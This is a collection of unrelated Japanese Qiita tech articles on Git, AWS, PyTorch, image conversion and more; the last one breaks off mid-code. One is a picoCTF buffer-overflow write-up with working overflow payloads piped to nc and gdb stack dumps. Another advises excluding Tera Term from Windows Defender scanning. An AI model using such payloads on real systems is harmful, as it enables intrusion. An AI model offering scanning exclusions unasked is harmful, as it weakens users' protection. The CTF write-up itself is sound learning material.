OmniAICreator/Qiita-1.07M huggingface dataset:
統計検定1級　2021　統計応用(理工学)   問2　解説

P1の見出し、統計数理は間違いで統計応用です。
![P1.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3576811/91e18600-8642-46c8-953a-da1334d37733.jpeg)
![P2.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3576811/ad8a0b2c-b8f7-4111-9a91-c9174cbfa84f.jpeg)
![P3.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3576811/3658f2cc-6c0a-44a8-812c-a2e8ce144946.jpeg)
![P4.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3576811/38165fd9-7428-4743-bd81-6dd2dfb6e773.jpeg)
ロジカルシンキング入門：仕事や日常に役立つ、問題解決のスピードを上げる思考法をまとめてみた

## はじめに
私たちは日常生活や仕事の中で、さまざまな課題に直面します。

:::note info
**その際、論理的に考え、的確な判断を下すことが求められます。ロジカルシンキング（論理的思考）は、そのような状況で非常に役立つスキルです。**
:::

本記事では、ロジカルシンキングの基本や実践方法について解説します。

## 書こうと思ったきっかけ
最近、日常生活の中で、明確な根拠をもって説明できる人とそうでない人の違いを感じる機会が増えました。

:::note warn
***論理的に話すことで、相手に納得してもらいやすくなるだけでなく、問題解決のスピードも向上します。***
:::

そこで、改めてロジカルシンキングの重要性を整理し、多くの人に役立つようにまとめたいと思いました。

## ロジカルシンキングとは？
ロジカルシンキング（論理的思考）とは、物事を筋道立てて考え、矛盾なく整理し、結論を導き出す思考法です。

ビジネスや日常生活のあらゆる場面で役立つスキルであり、問題解決や意思決定の精度を高めることができます。

https://www.jmam.co.jp/hrm/column/0031-logicalthinking.html#:~:text=%E3%83%AD%E3%82%B8%E3%82%AB%E3%83%AB%E3%82%B7%E3%83%B3%E3%82%AD%E3%83%B3%E3%82%B0%E3%81%AF%E3%80%81%E3%80%8C%E8%AB%96%E7%90%86%E7%9A%84,%E3%82%92%E5%87%BA%E3%81%99%E6%80%9D%E8%80%83%E6%B3%95%E3%81%A7%E3%81%99%E3%80%82

https://www.recruit-ms.co.jp/glossary/dtl/0000000192/

## ロジカルシンキングの重要性
ロジカルシンキングは、特に以下のような場面で重要になります。
- **問題解決**: 原因を特定し、適切な対策を講じるため。
- **説得力の向上**: 相手に納得してもらうために、論理的な説明を行う。
- **効率的な意思決定**: 情報を整理し、最適な選択肢を見極める。
- **コミュニケーションの明確化**: 誤解を防ぎ、正確な情報を伝える。

## ロジカルシンキングの基本要素
ロジカルシンキングには、いくつかの基本的な要素があります。

### 1. **MECE（Mutually Exclusive, Collectively Exhaustive）**
MECEとは「漏れなく、ダブりなく（Mutually Exclusive, Collectively Exhaustive）」情報を整理するフレームワークです。
- **漏れなく**: すべての要素を考慮する。
- **ダブりなく**: 同じ内容を重複しないように整理する。

例: 「会社の売上向上策」を考える場合
- 既存顧客の単価向上
- 新規顧客の獲得
- 商品ラインナップの拡充
これらはダブりがなく、すべての可能性を網羅している。

### 2. **因果関係の理解（So What?/Why So?）**
- **So What?（だから何？）**: ある情報や事実が示されたときに、それがどんな意味を持つのか考える。
- **Why So?（なぜそうなのか？）**: 結論に至る理由を深掘りする。

例: 「売上が前年比10%減少した」という情報に対して
- **Why So?** → 広告費の削減が影響した。
- **Why So?** → 経費削減の方針があった。
- **So What?** → 今後は広告費を適正に増やす必要がある。

### 3. **ピラミッドストラクチャー**
情報を「結論 → 理由 → 具体例」の順に整理することで、わかりやすく伝える手法です。
- **結論**: 企業の成長には新規事業が必要である。
- **理由**: 既存事業の成長率が鈍化している。
- **具体例**: 競合他社が新規事業を展開し、成長している。

## ロジカルシンキングを鍛える方法
### 1. **日常的にWhy? So What?を意識する**
普段の会話やニュースを見ながら、「なぜ？」「だから何？」を考える習慣をつける。

### 2. **フレームワークを活用する**
ロジカルシンキングにはさまざまなフレームワーク（3C分析、SWOT分析など）があります。これらを活用して思考を整理する。

### 3. **ロジックツリーを作る**
問題を階層構造で整理し、要因を明確化する。

例: 「売上低下の原因」
- 売上 = 顧客数 × 購入単価 × 購入頻度
- 顧客数が減少 → 競合増加、認知度低下
- 購入単価が低下 → 値引き戦略の影響

## まとめ
ロジカルシンキングは、日々の仕事や生活の中で意識的に活用することで、徐々に鍛えられます。

:::note info
**私自身、この思考方法を使いこなせるようになるまで時間がかかりましたが、事実や推測を正しく認識することができれば、問題解決のスピードが上がると実感しました。**
:::

今後もさらに高めていきたいと思います！
ライフハック：vscodeの拡張機能「Live Preview」でファイル変更時の更新を止める方法

:::note alert
- ゴミのような記事です
- 一部ブラウザーでは動作しない可能性があります
- 関係ありません(迫真)
:::
## 結論
**127.0.0.1**:3000を**localhost**:3000に変える
## 環境
- Windows 10.0.19045
- Microsoft Edge 134.0.3124.51
- Visual Studio Code 1.98.1
- Live Preview 0.4.15
## ウザいですよね
作業空間内の一時ファイルのどうこうも更新されてみてたページのデータがﾊﾟｰ
## やりかた
結論より
> **127.0.0.1**:3000を**localhost**:3000に変える
## 解説
WebSocketの接続に失敗する
## 雑スギィ！
<details><summary>考察、ここから汚いです。</summary>

一応通信はしてるしそういうエラーないからCORSが原因じゃないってはっきりわかんだね。
多分Websocketサーバー(拡張機能)が127.0.0.1以外のクライアントをブロックしてるんだね、しょうがないね。
もうこれわかんねえな

</details>

## 最後に
Microsoft Edge以外のブラウザを使ってる人は動作確認コメントしてほしいです。
競プロ日記#25/03/13

# アルゴ式-[方程式を解く](https://algo-method.com/tasks/368)
- プログラミング的な二分探索として有効範囲をleftとrightでおいて、中点をmidとする。（今回はleftに0を、rightに100を代入する）
- right−leftの値が十分小さくなる(10⁻⁴) まで以下を繰り返す。（許されている誤差の範囲）
1. Xの範囲の中点midを取る。
2. もしf(mid)がNより小さければleftをmidに置き換える。
そうでなければrightをmidに置き換える。
3. left 以上 right 以下の値を答えとして出力する。

# アルゴ式-[貯金 (1)](https://algo-method.com/tasks/367)
- 原則はleftとrightを定義するところだがこの問題では範囲が決まっていない。→十分大きな値として便宜的にXのrightを100とする
```
// 二分探索
  double left = 0, right = 100;
  while (right-left>1e-4) { // 精度が十分良くなるまで
    // left と right の 中点 mid をとる
    double mid = (left+right)/2;
    if (f(N,mid)<M) { // もし f(N, mid) < M ならば答えは mid より大きく right 以下
      left = mid; // 範囲を狭める
    }
    else { // そうでなければ答えは left 以上 mid 以下
      right = mid; // 範囲を狭める
    }
  }

  // 答えは left 以上 right 以下であることがわかっている。
  // 精度は十分なので、ここでは left の値を出力する。
  double ans = left;
  cout << ans << endl;
  return 0;
```
ディレクトリ配下の画像を一括でwebpに変換する（cwebp）


この記事は、ホームページやWebアプリの読み込み速度が遅い！という時に、使えるかもしれない内容になります。
実際この方法を使って、4.7MB程の画像を目視劣化なしで280KBほどに圧縮(圧縮率95%程)することが出来ました。


## cwebp（libwebp）とは

cwebp は、Google が開発した WebP 画像フォーマット用のエンコーダーで、libwebp（WebP のライブラリ）に含まれる コマンドラインのツール です。

JPEG, PNG, TIFF, BMP などの画像を webp に変換することが可能です。

また、画質、圧縮率、アルファチャンネルの設定も行えます。


## cwebp（libwebp）のインストール

```bash
# Ubuntu
sudo apt install webp  

# macOS（Homebrew）
brew install webp

# Windows（Chocolatey）
choco install webp
```

## 使い方

単体で変換を行う場合は、以下のように使用します。

```
cwebp "変換前ファイル名" -o "変換後ファイル名.webp"
```

## webpへの一括変換

以下のスクリプトは、
元のファイルを削除しつつ、ディレクトリ配下の`.jpg`と`.png`を全て`.webp`へ一括変換します。

### macOS / Ubuntu
```bash
find . -type f \( -iname "*.jpg" -o -iname "*.png" \) -exec sh -c '
for file do
    cwebp "$file" -o "${file%.*}.webp"
    rm "$file" # 元のファイルを削除したくない場合は、この行をコメントアウトしてください。
done
' sh {} +
```

### Windows

```powershell
$extensions = @("*.jpg", "*.png")

foreach ($ext in $extensions) {
    Get-ChildItem -Path . -Recurse -Filter $ext | ForEach-Object {
        $webpFile = $_.FullName -replace "\.(jpg|png)$", ".webp"
        Start-Process -NoNewWindow -Wait -FilePath "cwebp" -ArgumentList "`"$($_.FullName)`" -o `"$webpFile`""
        Remove-Item $_.FullName  # 元のファイルを削除したくない場合は、この行をコメントアウト
    }
}
```
PCLのインストール

Point Cloud Libraryのインストールで挫折する人はかなり多いと思いますので少しでも力になれたら幸いです。
### 実行環境
・Visual Studio2022
・CMake GUI 3.31.6
## All-in-One Installerのインストール
vcpkgでインストールすることも試みましたが、うまくいかなかったのでAll-in-One Installerでインストールすることにしました。
以下のリンクよりバージョン1.13.1(最新のバージョンは1.15.1ですが実行できません)

https://github.com/PointCloudLibrary/pcl/releases/tag/pcl-1.13.1

ダウウンロードしたらインストールを実行してください。展開先は推奨される``Program File``内で構いません。
## 環境変数の設定
システムの環境変数に以下の環境変数を追加してください。念のため追加した後、PCの再起動を行ってください。
| 環境変数名              | パス                                      |
|------------------------|--------------------------------------------|
| Path                   | C:\Program Files\OpenNI2                  |
|                        | C:\Program Files\PCL 1.13.1\bin           |
|                        | C:\Program Files\PCL 1.13.1\3rdParty      |
|                        | C:\Program Files\PCL 1.13.1\3rdParty\VTK\bin |
|                        | C:\Program Files\OpenNI2\Tools            |
| PCL_ROOT               | C:\Program Files\PCL 1.13.1               |
| OPENNI2_INCLUDE64      | C:\Program Files\OpenNI2\Include\         |
| OPENNI2_LIB64          | C:\Program Files\OpenNI2\Lib\             |
| OPENNI2_REDIST64       | C:\Program Files\OpenNI2\Redist\          |

ここを正しく設定しないことでよくエラーが起こります。
## CMakeの実行（したい人は）
以下のCMakeLists.txt作成し保存することで完了です。
```.cmake
cmake_minimum_required(VERSION 3.5 FATAL_ERROR)

project(プロジェクト名)

find_package(PCL REQUIRED)

include_directories(${PCL_INCLUDE_DIRS})
link_directories(${PCL_LIBRARY_DIRS})
add_definitions(${PCL_DEFINITIONS})

add_executable (プロジェクト名 cloud_viewer.cpp)
target_link_libraries (プロジェクト名 ${PCL_LIBRARIES})
```
お疲れ様でしたー
セレクトボックスの選択肢の位置を変える

# はじめに
セレクトボックスの選択肢の位置を変えてほしいと依頼がありました。

どういうことかと言うと、
これを
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3779420/4be4c320-fc17-45ea-a05b-c0467887b098.png)

こうしたい
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3779420/97c8068e-53eb-4b85-9503-e44cfe4fc031.png)

# 調べてみる
* option要素はwidthが効かない
* optionではなくul、liタグを使おう

出来ないという情報しかない…

# どうするか:thinking:
とりあえず、作ってみました。
<p class="codepen" data-height="400" data-default-tab="result" data-slug-hash="KwKyPqw" data-pen-title="Untitled" data-user="cjlsrdxi-the-builder" style="height: 400px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;">
  <span>See the Pen <a href="https://codepen.io/cjlsrdxi-the-builder/pen/KwKyPqw">
  Untitled</a> by masayasu_t (<a href="https://codepen.io/cjlsrdxi-the-builder">@cjlsrdxi-the-builder</a>)
  on <a href="https://codepen.io">CodePen</a>.</span>
</p>
<script async src="https://public.codepenassets.com/embed/index.js"></script>

ソースを見ていただけば理解いただけると思いますが、見えているセレクトボックスの上に見えないセレクトボックスを重ねています。

つまり、こう言うことです。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3779420/533413b9-f540-4c2b-b09e-8b835fcd4e97.png)

見えないセレクトボックスは「opacity: 0;」で隠しています。

「visibility: hidden;」だとマウスイベントが取れませんが、「opacity: 0;」だと着火します。
なので、見えないセレクトボックスのエリアをクリックすると選択肢が表示されます。

そして、そのままでは選択したデータが見えているセレクトボックスに反映されないので、javascriptで選択した値を移しています。

# おわりに
ここまでする必要があるのかと思いますが、「できません」ではつまらないので作ってみました。

「opacity: 0;」で隠すのは色々と応用できそうな気がします。
トレンドスキャン法を使ってみよう【アセットマネージャーのためのファイナンス機械学習】

# トレンドスキャン法について
トレンドスキャン法は「アセットマネージャーのためのファイナンス機械学習 第5章: 金融データのラベリング」で紹介されているラベリング手法です。

株価等の時系列が下降トレンド、無トレンド、上昇トレンドのいずれかに応じて{-1, 0, 1}を付与したラベルを作成するというアイデアです。

```py
def ols_t_value(close):
    # 線形トレンドのt値を計算する
    x = np.ones((close.shape[0], 2))
    x[:, 1] = np.arange(close.shape[0])
    ols = sm1.OLS(close, x).fit()
    return ols.tvalues[1]
```
このコードは株価終値を時系列のインデックスで、OLS回帰したときのt値を求めています。(関数名など一部変更しています。)


例えばこのようなデータを用意して
```py
import yfinance as yf

data = yf.Ticker('SPY')
spy = data.histry(period='1y')
close = spy['Close'].iloc[-20].to_numpy()

print(ols_t_value(close))
```
上記のように実行すると、t値が出力されます。

このコードでは20日分の終値のt値を出力していますが、期間を変えれば結果も変わります。そこで、t値の絶対値が大きくなる期間を探索するために、期間を可変するコードを考えます。

```py
def get_bins_from_trend(molecule, close, span):
    """
    線形トレンドのt値の符号からラベルを作成
    入力:
    - molecule: ラベル付けしたい観測値のインデックス
    - close: 終値(時系列)
    - span: 探索する期間の範囲[開始, 終了+1, 間隔]
    出力: 
    - t1: 発見されたトレンドの終了時点
    - t_val: 推定トレンド回帰係数のt値
    - bin: トレンドの符号
    """
    out = pd.DataFrame(index=molecule, columns=['t1', 't_val', 'bin'])
    hrzns = range(*span)

    for dt0 in molecule:
        df0 = pd.Series(dtype=float)

        for horizon in hrzns:
            dt1 = dt0 + pd.Timedelta(days=horizon)
            if dt1 > close.index[-1]:
                break
            df_segment = close.loc[dt0:dt1]
            t_val = ols_t_value(df_segment.values)
            df0.loc[dt1] = t_val

        if not df0.empty:
            t1 = df0.abs().idxmax()
            out.loc[dt0, ['t1', 't_val', 'bin']] = [t1, df0[t1], np.sign(df0[t1])]

    out['t1'] = pd.to_datetime(out['t1'])
    out['bin'] = pd.to_numeric(out['bin'], downcast='signed')

    return out.dropna(subset=['bin'])
```
※コードは変更しています。元のコードは書籍を参考にしてください。

t値の絶対値が最も高くなる期間を探索して、①探索期間、②t値、③トレンドの符号、の3つ列を含んだデータフレームを返します。このデータがルックフォワード期間の中で最も有意なトレンドを示しており、予測モデルのターゲットとなります。

先ほどyfinanceで取得したSPYのデータで試してみましょう。
```py
close = spy['Close']

bins_df = get_bins_from_trend(close.index, close, [3,10,1])
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1882169/04984fe2-233a-4671-ad3c-334e84c2918d.png)

bins_dfの中身は元データのインデックス(datetime)を維持したまま、ルックフォワードのトレンド情報が入っています。

```py
plt.scatter(bins_df.index, close.loc[bins_df.index],
            c=bins_df['bin'], cmap='viridis')
plt.colorbar()
plt.title('Trend Labelling')
plt.xlabel('Time Index')
plt.ylabel('Close')
plt.show()
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1882169/13b64f7c-e7a6-4676-a522-31ea70b9900c.png)

これで各終値時点でのルックフォワード期間のトレンドがラベリングできました。

書籍と同様にt値も可視化してみましょう。
```py
plt.scatter(bins_df.index, close.loc[bins_df.index],
            c=bins_df['t_val'], cmap='viridis')
plt.colorbar()
plt.title('t-value')
plt.xlabel('Time Index')
plt.ylabel('Price')
plt.show()
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1882169/ee767609-0b49-489c-8456-7eefaf6d33b6.png)
picoCTF2022 buferoverflow2 追記

win()の9dに飛ばす場合は、
```
└─$ echo -e '123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012340000\x20\xcf\xff\xff\x9d\x92\x04\x08\x00\x00\x00\x00\x0\x0\x0\x0\x0D\xF0\xFE\xCA\x0D\xF0\x0D\xF0' > input2.txt
```
win()の9bに飛ばすなら
```
└─$ (printf '12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234000090AA\x9b\x92\x04\x08\x0\x0\x0\x0\x0\x0\x0\x0\x0D\xF0\xFE\xCA\x0D\xF0\x0D\xF0'; cat )| nc saturn.picoctf.net 55165  
```

# winの0804929dについて
vuln()呼び出し時のスタックは

local
ebp
return(vulnからmainへの帰り先)
ebp
return(main)

でこれをwinに書き換えるので
5678
90AA(old_ebp)
winのアドレス
0x0000
arg1
arg2

でghidraでは以下のようになり、引数がebp + 0x4とebp+0x8になっている。
ebp+stack[0x4]:::現在のスタックフレームの先頭から0x4の位置
![スクリーンショット (75).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3965944/265538e3-22ef-4434-ad98-de9d58e289b5.png)

gdbの場合は、ebp+0x8 , ebp+0xcとなっていて気づくまではまった。
![スクリーンショット (76).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3965944/a4f245bc-85f4-48cc-932e-e78b4f1c2283.png)

で、9dのpush eax命令に飛ばしたい場合は、winへのアドレスの上に任意のebpを乗っければよいので、win関数の比較命令直前の 0x0804930cにブレークポイントを打って、
```
   0x08049309 <+115>:   add    esp,0x10
   0x0804930c <+118>:   cmp    DWORD PTR 
```
```
x/70x $ebp     ebpから７０個のアドレスの中身を出力

pwndbg> x/70x $ebp


pwndbg> x/70x $ebp
0xffffcec8:     0x3635343332313039      0x3433323130393837
0xffffced8:     0x3231303938373635      0x3039383736353433
0xffffcee8:     0x3837363534333231      0x3635343332313039
0xffffcef8:     0x3433323130393837      0x3231303938373635
0xffffcf08:     0x3039383736353433      0x3030303034333231
0xffffcf18:     0x30303030ffffcec8      0x0000000000000000
0xffffcf28:     0xf00df00dcafef00d      0xf7f9de14ffffcf00
0xffffcf38:     0xf7d8cd4300000000      0x0000000000000000
0xffffcf48:     0xf7d8cd43f7da6069      0xffffd00400000001
```
0xffffcf28: 0xf00df00d<font color="red">cafef00d</font> 0xf7f9de14ffffcf00
に比較する値があるので、ebp＋8に合わせるように、0xffffcf28-8して0xffffcf20を入れる。
そうすると、108文字+ffffcf20+win_Adress+......のようになる。
![スクリーンショット (78).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3965944/a531ed8e-59e3-407a-bf48-b7dd1acb1cbc.png)

また、有効なアドレスを指定しないと
  0x80492c5 <win+47>    mov    dword ptr [ebp - 0xc], eax     Cannot dereference [0x32cffff3]
  のようなエラーが出る。
  
 # 0804929bに飛ばす場合
 当初誤解があって、ebpが書き換わるなら別に、ebpをpushしなくてもいいのではと思っていました。
 比較命令で、ebp+8とebp+cがあるので

①
```
5678　    <-esp          
90AA(old_ebp)  <-ebp    
winのアドレス            
0x0000
arg1
arg2
```
②　vulnのret後
```
5678
90AA(old_ebp)
winのアドレス　
0x0000　　　　　<-esp  
arg1
arg2
........<-ebp(90AA)
```
③ win呼び出し時
```
push ebp
move ebp, espにより

old_ebp <-esp <-ebp
0x0000
arg1
arg2
```
となるのでこの場合は、112文字+win_address+0x0000+arg1+arg2で問題ない。
しかし、push ebpを飛ばすと、
``` 
0x0000　<-esp <-ebp
arg1
arg2
```
になるので、ebp+8に合わせるには、0x0000を追加しないといけない。
また、ebp+0x4の場合は、スタックを開放する向きなので、現在より以前の情報にアクセス
ebp-0x4の場合は、スタックを新しく作る方向なので、現在の関数のローカル変数等にアクセス。
subでスタックを作成
addでスタックを開放

また、x86 32bitの場合、mainから呼び出せれた関数で func(a,b)のような場合、callの直前でstackに積まれて渡される。なので

func関数
old ebp
return address
a
b
main関数
Logseqのファイルをコマンドラインからいじれるlsqコマンド

Logseqをcliから使うコマンドが爆誕してたらしいので使ってみる

https://github.com/jrswab/lsq/

環境:
windows 11のwsl2(ubuntu 24.04)にインストールする
windows側に保存してるlogseqのグラフをwsl側からいじれるようになる


windowsとmacでも使えるらしいけど筆者はwsl以外で使う予定ないので除外


## goをインストール

```sh
# ダウンロード一覧: https://go.dev/dl/
wget https://go.dev/dl/go1.24.1.linux-amd64.tar.gz

# 過去バージョンは削除。これしないと壊れるらしい
sudo rm -rf /usr/local/go

# インストール
sudo tar -C /usr/local -xzf go1.24.1.linux-amd64.tar.gz

# お掃除
rm go1.24.1.linux-amd64.tar.gz
```

`.bashrc`にパスを通しておいて`source ~/.bashrc`

```sh:.bashrc
export PATH=$PATH:/usr/local/go/bin
export PATH=$PATH:$HOME/go/bin
```

`go version`でインストールできたか確認

```
$ go version
go version go1.24.1 linux/amd64
```


なぜドキュメントはそのままコピペできるようになってないんだろう？
初めてgo触ったから分からない... ※lsqコマンド使うだけならgoの知識不要

https://go.dev/doc/install


## lsqをインストール

```sh
go install github.com/jrswab/lsq@latest
```

以下のフォルダに`lsq/config.edn`を作る。ここでフォルダを設定する。

- linux: `~/.config` or `$XDG_CONFIG_HOME`
- mac: `~/Library/Application Support`
- windows: `%AppData%`

```sh
mkdir -p ~/.config/lsq
vim ~/.config/lsq/config.edn
```

```edn:config.edn
{
  ;; "Markdown" または "Org" のいずれかを選択
  :file/type "Markdown"
  ;; 日記ファイルの命名規則
  :file/format "yyyy_MM_dd"
  ;; Logseqのメインディレクトリ。日本語を含むと動かなかった。
  :directory "/mnt/c/docs/MainGraph"
}
```

`:file/format`は自分のところだと`"yyyy_MM_dd"`にしないと動かなかった。実際のファイル名がそうだから。
`"yyyy-MM-dd"`で動く人もいるのかもしれない。

## 使ってみる

設定ファイルが指定していれば以下のコマンドで今日のジャーナルがvimとかで編集できる

```
lsq
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/18902/8250e09e-baf5-4db8-826b-23d09e27b2dc.png)

`lsq -a "fooo"`で今日のジャーナルにブロックを追加できる

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/18902/ab172c78-5e1f-4ae6-8c01-49ff34c3a43f.png)

## コマンドラインオプション

* ブロック追加
  * `-a`: ページに直接テキストを追加 (何も指定しなければ今日のジャーナル)
  * `-A`: 標準入力をページに追加 (何も指定しなければ今日のジャーナル)
* ページを指定
  * `-y`: 昨日のジャーナル
  * `-s`: 指定日のジャーナル (`yyyy-mm-dd`の形式)
  * `-p`: pagesディレクトリから特定のページを開く
    * `.md`まで入れる。aliasも考慮されるっぽい。
* 検索機能 ※自分の環境ではうまく動かなかった
  * `-f`: ページとエイリアスを検索する
  * `-o`: 検索結果の最初の項目を自動的に開く
* 設定など
  * `-v`: 実行中のlsqのバージョンを表示する
  * `-e`: ファイル編集時に使用するエディタを設定する
  * `-d`: メインディレクトリのパスを指定する

`-a`, `-A`はページ指定と組み合わせて使える

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/18902/09d3f960-0f61-4488-a142-d4f3eef26f37.png)
MSR構成におけるNetwork Firewall利用時の注意点

## はじめに
- AWS上で、NetworkFirewallの構築をした際に気を付けるポイントについて共有します
## 対象者
- AWSでNetworkFirewallをMSR構成で構築予定の方

## 前提条件
- MSRとは
  - ルートテーブルでVPCのサブネット宛てのルートを設定できる機能 
  - 参考:https://d1.awsstatic.com/webinars/jp/pdf/services/202110_AWS_Black_Belt_Network_Firewall_advanced01.pdf 

## アーキテクチャ構成
以下の構成を例に解説します。
Networkfirewallを利用した構成は大きく以下の2パターンがあります。
パターン①(本構成)：EC2→Networkfirewall→Nat/ALB
パターン②　　　　：EC2→Nat/ALB→Networkfirewall

以下構成図の構成はMSR機能を利用することでNetworkFirewallエンドポイントをALBとEC2の間に配置しています。この構成を取るメリットとして、networkfirewallでブロックする通信がある分Nat Gatewayのコストが小さいことと、Networkfirewall目線で接続元のEC2のアドレスが見えることが考えられます。
![networkfirewall.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3942010/094b158d-751e-4a80-9690-56bc65d83a27.png)

## 発生した事象と注意点
EC2に対する通信をALBのみに制限したい際に以下の図のセキュリティグループのように接続元をセキュリティグループIDで指定する設定をしていました。
以下の状態の場合、ALBからEC2に対するヘルスチェックが通りません。
![networkfirewall_sg_failed.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3942010/c68dcf44-ba1e-4d61-b3eb-e0b0a79a9c04.png)


正しくは、以下の図のように、セキュリティグループIDではなく、サブネットのCIDRを明示的に許可してあげる必要があります。
![networkfirewall_sg_correct.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3942010/8b390625-dc95-4a83-88e4-830d47ac535d.png)

以下のAWSのセキュリティグループに関するページに以下の記載があるのですが、本構成のNetworkfirewallのようなミドルボックスアプライアンスを使用する場合はセキュリティグループIDを指定することができません。

:::note info
ミドルボックスアプライアンスを介して異なるサブネット内の 2 つのインスタンス間のトラフィックを転送するようにルートを設定するには、両方のインスタンスのセキュリティグループでインスタンス間のトラフィックがフローできるようにする必要があります。各インスタンスのセキュリティグループは、他のインスタンスのプライベート IP アドレス、または他のインスタンスを含むサブネットの CIDR 範囲を送信元として参照される必要があります。他のインスタンスのセキュリティグループを送信元として参照する場合、インスタンス間のトラフィックは許可されません。
:::

https://docs.aws.amazon.com/ja_jp/vpc/latest/userguide/security-group-rules.html#security-group-referencing

調べても見つかりにくい情報だったため、ご参考になれば幸いです。

## おわりに
- ヘルスチェックの疎通確認で、VPCのReachability Analyzerを使ったのですが、通信経路をトレースできて事象解決に役立ちました。
【Git】削除したファイルを復元する方法

## ファイルを削除したコミットを探す

まず、削除されたファイルが含まれていたコミットを特定します。以下のコマンドを使用します:

```terminal
git log --diff-filter=D --summary
```

このコマンドは、削除（D）されたファイルのコミット履歴を表示します。

また、以下のコマンドでも検索できます。

```terminal
git log -- <ファイルパス>
```

例:

```terminal
git log -- src/main.py
```

詳細については [git-log](https://git-scm.com/docs/git-log) を参照してください。

## ファイルの復元

特定したコミットからファイルを復元します。以下のコマンドを使用します:

```terminal
git checkout <コミットハッシュ> -- <ファイルパス>
```

- `<コミットハッシュ>`: ファイルが削除されたコミットのハッシュ
- `<ファイルパス>`: 復元したいファイルのパス

例:

```terminal
git checkout a1b2c3d4 -- src/main.py
```

詳細は[git-checkout](https://git-scm.com/docs/git-checkout) を参照してください。

## 復元したファイルをコミットする

ファイルを復元したら、通常通りにステージングしてコミットします。

```terminal
git add <ファイルパス>
git commit -m "<コミットメッセージ>"
```

例:

```terminal
git add src/main.py
git commit -m "src/main.py を復元"
```
Gitでローカルの変更をリモートリポジトリへ反映させる方法

# Gitでローカルの変更をリモートリポジトリへ反映させる方法

ローカルリポジトリからコードをGitで`clone`した後、`create.blade.php`の内容を一部変更しました。  
この変更を`main`ブランチでリモートリポジトリへ反映させる手順を説明します。

---

![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4034432/cacdeb1c-c17d-483c-8325-fdd343081445.png)


## 1. 変更をステージングする

まず、変更をステージングするために以下のコマンドを実行します。




```sh
git add resources/views/post/create.blade.php
```

このコマンドを実行すると、「ステージされている変更」が更新されます。
![スクリーンショット 2025-03-12 22.50.45.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4034432/5355f74d-52fa-4765-8909-316e40f79bca.png)


---

## 2. 変更をコミットする

続いて、以下のコマンドで変更をコミットします。

```sh
git commit -m "create.blade.phpの修正"
```

---

## 3. 変更をリモートリポジトリへプッシュする

最後に、リモートリポジトリへ変更を反映させるために、以下のコマンドを実行します。

```sh
git push origin main
```

この際、Gitの`passphrase`を求められます。
![スクリーンショット 2025-03-12 23.27.22.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4034432/be681feb-7a7a-438d-b13c-f357f912aa18.png)


---

## 4. 変更が反映されたことを確認

Github上でリモートリポジトリh変更が反映されたことを確認できました。
![スクリーンショット 2025-03-12 23.28.23.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4034432/1acbb93f-6b95-4cd1-b9a0-e51bc4a4e70a.png)
【Tera Termの小技】Tera Term の起動を速くする

# Tera Term の起動が遅い場合

## 初めに
Tera Term は本来高速で起動する Terminalソフトウェアであるが、小規模なプロジェクトによる開発のためか、マルウェア扱いをされ、Windows Defenderに厳しいチェックをうけることがあるようで、それがTera Termの起動を遅く(5秒から10秒ぐらい)している。

Windows Defenderの除外フォルダーにTera Termをインストールしたフォルダーを追加することで、Tera Termは本来の速さで起動することができるが、その設定方法が、やや深い階層にあるため、ここにドキュメントとして残す。

## 設定方法

設定
プライバシーとセキュリティ
Windows セキュリティ
ウイルスと脅威の防止
ウイルスと脅威の防止の設定
コントロールされたフォルダー アクセス
除外
+除外の追加
フォルダ
C:\Program Files(x86)\teraterm5

## 最後に
これで Tera Term は素早く起動するようになるが、このような設定をしなくとも、Windows Defenderのチェックの影響をあまり受けないプログラムを作る方法はないのだろうか？

よくWindows Defenderがあればサードパーティのセキュリティソフトはいらないという意見があるが、Windows DefenderにCPUパワーを相当取られている現実をもっと知ってほしい
GPUクラスターで分散学習

# 環境

- 親ノード＋GPUを搭載した子ノード x 20台
- OS：Rocky Linux 9.5
- ノード間通信：イーサネット

# 前提

今回はDistributed Data Parallel（DDP）をPyTorchを使って実装しました．

各ノードでCUDAが利用できる状態です．

また， `torch.distributted`で推奨されているNCCLもインストールしています．

# 手順

## 環境変数設定

以下のパラメータを考慮し、スクリプト内や実行コマンドに指定します．

- **`MASTER_ADDR`**: マスターノードのIPアドレス
- **`MASTER_PORT`**: マスターノードが使うポート番号
- **`NODE_RANK`**: 各ノードのランク（マスターノードを`0`とし、他のノードを`1, 2, ...`と番号付け）
- **`WORLD_SIZE`**: クラスター全体のプロセス数（例: ノード数×プロセス数/ノード）

## コードの準備

### 1. **torch.distributedの初期化**
各プロセスが通信できるよう、以下の情報を`torch.distributed.init_process_group()`で指定します.
    - `backend`（今回は`nccl`）
    - `init_method`（通信方法、例えば`tcp://IP:PORT`）
    - `rank`（プロセスのID）
    - `world_size`（全プロセス数）
    
    import os
    import torch.distributed as dist
    
    rank = int(os.environ['RANK'])
    world_size = int(os.environ['WORLD_SIZE'])
    
    dist.init_process_group(
        backend='nccl', 
